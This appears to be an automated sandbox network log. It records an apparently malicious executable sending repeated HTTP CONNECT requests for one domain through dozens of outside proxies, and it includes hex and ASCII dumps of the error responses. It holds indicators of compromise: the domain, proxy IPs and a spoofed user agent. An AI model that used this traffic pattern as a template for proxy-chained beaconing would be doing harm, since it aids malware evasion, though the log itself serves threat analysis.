Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.113825083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.9	50240	23.254.231.55	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.116144896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.826034069 CET	1011	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:05 GMT Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7 Content-Length: 795 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 33 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 67 20 50 48 50 2f 37 2e 34 2e 37 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at postmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7 Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.9	51298	185.162.228.170	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.118067026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.272516012 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.9	51303	104.19.85.214	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.127863884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.282305956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.9	51304	104.16.105.142	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.128247023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.282723904 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.9	51245	174.64.199.82	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.131118059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.9	50326	194.140.198.23	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.140470982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.921432972 CET	101	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.9	51230	113.250.189.196	7777	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.154160023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.609647036 CET	640	IN	HTTP/1.1 504 Connection failed Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Content-Type: text/html Content-Length: 493 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 20 3c 74 69 74 6c 65 3e 43 4f 57 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 20 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 68 31 3e 5b 45 72 72 6f 72 5d 20 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 31 34 2e 31 31 34 2e 31 31 34 2e 31 31 34 3a 35 33 3a 20 64 69 61 6c 20 75 64 70 20 31 31 34 2e 31 31 34 2e 31 31 34 2e 31 31 34 3a 35 33 3a 20 73 6f 63 6b 65 74 3a 20 74 6f 6f 20 6d 61 6e 79 20 6f 70 65 6e 20 66 69 6c 65 73 3c 2f 68 31 3e 0a 09 09 3c 70 3e 48 54 54 50 20 52 65 71 75 65 73 74 20 3c 73 74 72 6f 6e 67 3e 43 4f 4e 4e 45 43 54 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3a 34 34 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 20 3c 70 3e 44 69 72 65 63 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 6e 6f 20 70 61 72 65 6e 74 20 70 72 6f 78 79 2e 3c 2f 70 3e 0a 09 09 3c 68 72 20 2f 3e 0a 09 09 47 65 6e 65 72 61 74 65 64 20 62 79 20 3c 69 3e 43 4f 57 20 30 2e 39 2e 38 3c 2f 69 3e 20 3c 62 72 20 2f 3e 0a 09 09 48 6f 73 74 20 3c 69 3e 65 63 6d 2d 34 34 61 38 3c 2f 69 3e 20 3c 62 72 20 2f 3e 0a 09 09 4d 6f 6e 20 4d 61 72 20 31 31 20 32 32 3a 32 31 3a 30 34 20 32 30 32 34 0a 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html><head> <title>COW Proxy</title> </head><body><h1>[Error] dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 114.114.114.114:53: dial udp 114.114.114.114:53: socket: too many open files</h1><p>HTTP Request <strong>CONNECT heygirlisheeverythingyouwantedinaman.com:443</strong></p> <p>Direct connection failed, no parent proxy.</p><hr />Generated by <i>COW 0.9.8</i> <br />Host <i>ecm-44a8</i> <br />Mon Mar 11 22:21:04 2024</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.9	51317	192.169.244.80	49588	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.155993938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.606342077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.106350899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.138673067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.138226032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138364077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.138147116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138854027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.934798002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.9	51243	119.196.168.183	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.172658920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.9	51282	92.204.135.37	55019	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.173157930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.731630087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.497395039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.997142076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.9	50334	184.178.172.18	15280	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.176168919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.9	51246	8.217.95.44	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.193805933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.9	50390	98.181.137.80	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.194010973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.9	51249	58.234.116.197	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.195116043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.9	51172	69.61.200.104	36181	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.211728096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.246993065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.9	51266	211.222.252.187	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.214075089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.9	50310	162.214.227.68	60433	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.224745989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.293948889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.295062065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388148069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.410490036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.403181076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.465729952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.465635061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:03.465537071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.9	51365	104.24.193.186	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.226857901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
